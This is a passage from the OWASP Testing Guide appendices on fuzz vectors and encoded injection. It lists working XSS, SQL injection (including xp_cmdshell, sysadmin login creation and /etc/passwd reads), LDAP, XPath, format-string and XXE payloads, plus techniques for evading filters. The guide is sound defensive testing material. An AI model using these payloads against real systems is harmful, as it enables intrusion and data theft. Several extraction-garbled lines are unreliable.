+ Hacme Shipping - http://www.mcafee.com/us/downloads/freetools/hacmeshipping.aspx
+ Hacme Casino - http://www.mcafee.com/us/downloads/freetools/hacme-casino.aspx
+ Hacme Books - http://www.mcafee.com/us/downloads/freetools/hacmebooks.aspx
Moth - http://www.bonsai-sec.com/en/research/moth.php
Mutillidae - http://www.irongeek.com/i.php?page=mutillidae/
mutillidae-deliberately-vulnerable-php-owasp-top-10
Stanford SecuriBench - http://suif.stanford.edu/~livshits/
securibench/
Vicnum - http://vicnum.sourceforge.net/ and http://www.owasp.
org/index.php/Category:OWASP_Vicnum_Project
WebGoat - http://www.owasp.org/index.php/Category:OWASP_
WebGoat_Project
WebMaven (better known as Buggy Bank) - http://www.
mavensecurity.com/WebMaven.php

OWASP Testing Guide Appendix C: Fuzz Vectors

The following are fuzzing vectors which can be used with WebScarab,
JBroFuzz, WSFuzzer, ZAP or another fuzzer. Fuzzing is the kitchen
sink approach to testing the response of an application to parameter
manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part
of the discovery phase. Once an error has been discovered identifying
and exploiting a potential vulnerability is where skill is required.
Fuzz Categories
In the case of stateless network protocol fuzzing (like HTTP(S)) two
broad categories exist:
Recursive fuzzing
Replacive fuzzing
We examine and define each category in the sub-sections that follow.
Recursive fuzzing
Recursive fuzzing can be defined as the process of fuzzing a part of
a request by iterating through all the possible combinations of a set
alphabet. Consider the case of:
http://www.example.com/8302fa3b
Selecting 8302fa3b as a part of the request to be fuzzed against
the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls
under the category of recursive fuzzing. This would generate a total
of 16^8 requests of the form:
http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff

Replacive fuzzing
Replacive fuzzing can be defined as the process of fuzzing part of a
request by means of replacing it with a set value. This value is known
as a fuzz vector. In the case of:
http://www.example.com/8302fa3b
Testing against Cross Site Scripting (XSS) by sending the following
fuzz vectors:

dd
dd
This is a form of replacive fuzzing. In this category, the total number
of requests is dependent on the number of fuzz vectors specified.
The remainder of this appendix presents a number of fuzz vector categories.

219

Cross Site Scripting (XSS)


For details on XSS: Cross-site Scripting (XSS)

dd
><STYLE>@importjavascript:alert(XSS);</STYLE>
>><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
%uff1cscript%uff1ealert(XSS)%uff1c/script%uff1e
>
>
dd
<IMG SRC=javascript:alert(XSS);>
<IMG SRC=javascript:alert(XSS)>
<IMG SRC=JaVaScRiPt:alert(XSS)>
9L1d`Cyd`^ddz`
9L1d`z`z`
z`z`
9L1d`z`z`z`
z`z`z`z`
9L1d`z`z`
z`
9L1d`z`dd
9L1d`z`dd
9L1d`#z`dd

Buffer Overflows and Format String Errors


Buffer Overflows (BFO)
A buffer overflow or memory corruption attack is a programming
condition which allows overflowing of valid data beyond its prelocated storage limit in memory.
For details on Buffer Overflows: Testing for Buffer Overflow
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.
Ax5
A x 17
A x 33
A x 65
A x 129
A x 257
A x 513
A x 1024
A x 2049
A x 4097
A x 8193
A x 12288

Format String Errors (FSE)


Format string attacks are a class of vulnerabilities that involve supplying language specific format tokens to execute arbitrary code or

crash a program. Fuzzing for such errors has as an objective to check


for unfiltered user input.
An excellent introduction on FSE can be found in the USENIX paper
entitled: Detecting Format String Vulnerabilities with Type Qualifiers
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.

%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s
%99999999999s
%08x
%%20d
%%20n
%%20x
%%20s
%s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
%s x 129

220

Integer Overflows (INT)


Integer overflow errors occur when a program fails to account for the
fact that an arithmetic operation can result in a quantity either greater
than a data types maximum value or less than its minimum value. If
a tester can cause the program to perform such a memory allocation,
the program can be potentially vulnerable to a buffer overflow attack.
-1
0
0x100
0x1000
0x3fffffff
0x7ffffffe
0x7fffffff
0x80000000
0xfffffffe
0xffffffff
0x10000
0x100000
SQL Injection
This attack can affect the database layer of an application and is typically present when user input is not filtered for SQL statements.
For details on Testing SQL Injection: Testing for SQL Injection
SQL Injection is classified in the following two categories, depending
on the exposure of database information (passive) or the alteration of
database information (active).
^d_G9
d_G9
Active SQL Injection statements can have a detrimental effect on the
underlying database if successfully executed.
Passive SQL Injection (SQP)
||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
||6
(||6)
OR 1=1-OR 1=1
OR 1=1
; OR 1=1
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
or 1=1- or 1=1- or 1=1 /*
or 1=1- or a=a
or a=a
) or (a=a
Admin OR
%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.
TABLES-) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.
TABLES;

having 1=1- having 1=1- group by userid having 1=1- SELECT name FROM syscolumns WHERE id = (SELECT id
FROM sysobjects WHERE name = tablename)- or 1 in (select @@version)- union all select @@version- OR unusual = unusual
OR something = some+thing
OR text = Ntext
OR something like some%
OR 2 > 1
OR text > t
OR whatever in (whatever)
OR 2 BETWEEN 1 and 3
or username like char(37);
union select * from users where login =
char(114,111,111,116);
union select
Password:*/=1-UNI/**/ON SEL/**/ECT
; EXECUTE IMMEDIATE SEL || ECT US || ER
; EXEC (SEL + ECT US + ER)
/**/OR/**/1/**/=/**/1
or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*

; begin declare @var varchar(8000) set @var=: select @


var=@var++login+/+password+ from users where login >
@var select @var as var into temp end - and 1 in (select var from temp)- union select 1,load_file(/etc/passwd),1,1,1;
1;(load_file(ch
ar(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
and 1=( if((load_file(char(110,46,101,120,116))<>ch
ar(39,39)),1,0));

Active SQL Injection (SQI)


; exec master..xp_cmdshell ping 10.10.1.2-CREATE USER name IDENTIFIED BY pass123
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users;
; drop table temp -exec sp_addlogin name , password
exec sp_addsrvrolemember name , sysadmin
INSERT INTO mysql.user (user, host, password) VALUES
(name, localhost, PASSWORD(pass123))
GRANT CONNECT TO name; GRANT RESOURCE TO name;
INSERT INTO Users(Login, Password, Level) VALUES(
char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72)
+ char(0x70)
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

221

LDAP Injection
For details on LDAP Injection: Testing for LDAP Injection
|
!
(
)
%28
%29

%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26
admin*
admin*)((|userPassword=*)
*)(uid=*))(|(uid=*

XPATH Injection
For details on XPATH Injection: Testing for XPath Injection
+or+1=1
+or+=
x+or+1=1+or+x=y
/
//
//*
*/*
@*
count(/child::node())
x+or+name()=username+or+x=y

OWASP Testing Guide Appendix D:


Encoded Injection

Background
Character encoding is the process of mapping characters, numbers
and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to
different languages like English, Chinese, Greek or any other known
language) into bytes. An example of a widely used character encoding
scheme is the American Standard Code for Information Interchange
(ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode UTF-8 and UTF-16 computing
industry standards.
In the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse.
It is being used for encoding malicious injection strings in a way that
obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render
encoded text.
Input Encoding Filter Evasion
Web applications usually employ different types of input filtering
mechanisms to limit the input that can be submitted by the user. If
these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a
/ can be represented as 2F (hex) in ASCII, while the same character
(/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is
important for the input filtering control to be aware of the encoding
scheme used. If the filter is found to be detecting only UTF-8 encoded
injections, a different encoding scheme may be employed to bypass
this filter.
Output Encoding Server & Browser Consensus
Web browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (Content-Type) field, as
Content-Type: text/html; charset=UTF-8

XML Injection
Details on XML Injection here: Testing for XML Injection
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(gotcha);<![CDATA[<]]>/
SCRIPT<![CDATA[>]]></foo>
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[ or 1=1 or =]]></foof>
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM file://c:/boot.

<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE


foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM file:///etc/

<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE


foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM file:///etc/

<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE


foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM file:///dev/

shown below:
<META http-equiv=Content-Type content=text/html; charset=ISO-8859-1>
or through HTML META tag (META HTTP-EQUIV), as shown below:
It is through these character encoding declarations that the browser
understands which set of characters to use when converting bytes to
characters. Note that the content type mentioned in the HTTP header
has precedence over the META tag declaration.
CERT describes it here as follows:
Many web pages leave the character encoding (charset parameter
in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasnt
defined. In fact, many browsers had a different default, so it was not
possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isnt specified, any character

222

encoding can be used.


If the web server doesnt specify which character encoding is in
use, it cant tell which characters are special. Web pages with unspecified character encoding work most of the time because most
character sets assign the same characters to byte values below
128. But which of the values above 128 are special? Some 16-bit
character-encoding schemes have additional multi-byte representations for special characters such as <. Some browsers recognize
this alternative encoding and act on it. This is correct behavior, but
it makes attacks using malicious scripts much harder to prevent.
The server simply doesnt know which byte sequences represent
the special characters
Therefore in the event of not receiving the character encoding information from the server, the browser either attempts to guess the
encoding scheme or reverts to a default scheme. In some cases, the
user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by
the web page (server) and the browser may cause the browser to
interpret the page in a manner that is unintended or unexpected.
Encoded Injections
All the scenarios given below form only a subset of the various
ways obfuscation can be achieved to bypass input filters. Also, the
success of encoded injections depends on the browser in use. For
example, US-ASCII encoded injections were previously successful
only in IE browser but not in Firefox. Therefore, it may be noted that
encoded injections, to a large extent, are browser dependent.
Basic Encoding
Consider a basic input validation filter that protects against injection
of single quote character. In this case the following injection would
easily bypass this filter:
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

String.fromCharCode Javascript function takes the given Unicode


values and returns the corresponding string. This is one of the most
basic forms of encoded injections. Another vector that can be used
to bypass this filter is:
9L1d`dd

9L1d`ddM
reference)
The above uses HTML Entities to construct the injection string.
HTML Entities encoding is used to display characters that have a
special meaning in HTML. For instance, > works as a closing bracket for a HTML tag. In order to actually display this character on the
web page HTML character entities should be inserted in the page
source. The injections mentioned above are one way of encoding.
There are numerous other ways in which a string can be encoded
(obfuscated) in order to bypass the above filter.

Hex Encoding
Hex, short for Hexadecimal, is a base 16 numbering system i.e it
has 16 different values from 0 to 9 and A to F to represent various
characters. Hex encoding is another form of obfuscation that is
sometimes used to bypass input validation filters. For instance, hex
encoded version of the string <IMG SRC=javascript:alert(XSS)> is

<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%
6C%65%72%74%28%27%58%53%53%27%29>
A variation of the above string is given below. Can be used in case
% is being filtered:
9L1d`

There are other encoding schemes, such as Base64 and Octal,


that may be used for obfuscation.
Although, every encoding scheme may not work every time, a bit
of trial and error coupled with intelligent manipulations would
definitely reveal the loophole in a weakly built input validation filter.
UTF-7 Encoding
UTF-7 encoding of <SCRIPT>alert(XSS);</SCRIPT> is as below
+ADw-SCRIPT+AD4-alert(XSS);+ADw-/SCRIPT+AD4-

For the above script to work, the browser has to interpret the web
page as encoded in UTF-7.
Multi-byte Encoding
Variable-width encoding is another type of character encoding
scheme that uses codes of varying lengths to encode characters.
Multi-Byte Encoding is a type of variable-width encoding that
uses varying number of bytes to represent a character. Multi-byte
encoding is primarily used to encode characters that belong to a
large character set e.g. Chinese, Japanese and Korean.
Multibyte encoding has been used in the past to bypass standard
input validation functions and carry out cross site scripting and
SQL injection attacks.
References
http://en.wikipedia.org/wiki/Encode_(semiotics)
http://ha.ckers.org/xss.html
http://www.cert.org/tech_tips/malicious_code_mitigation.html
http://www.w3schools.com/HTML/html_entities.asp
http://www.iss.net/security_center/advice/Intrusions/2000639/default.htm
http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html
http://www.joelonsoftware.com/articles/Unicode.html

You might also like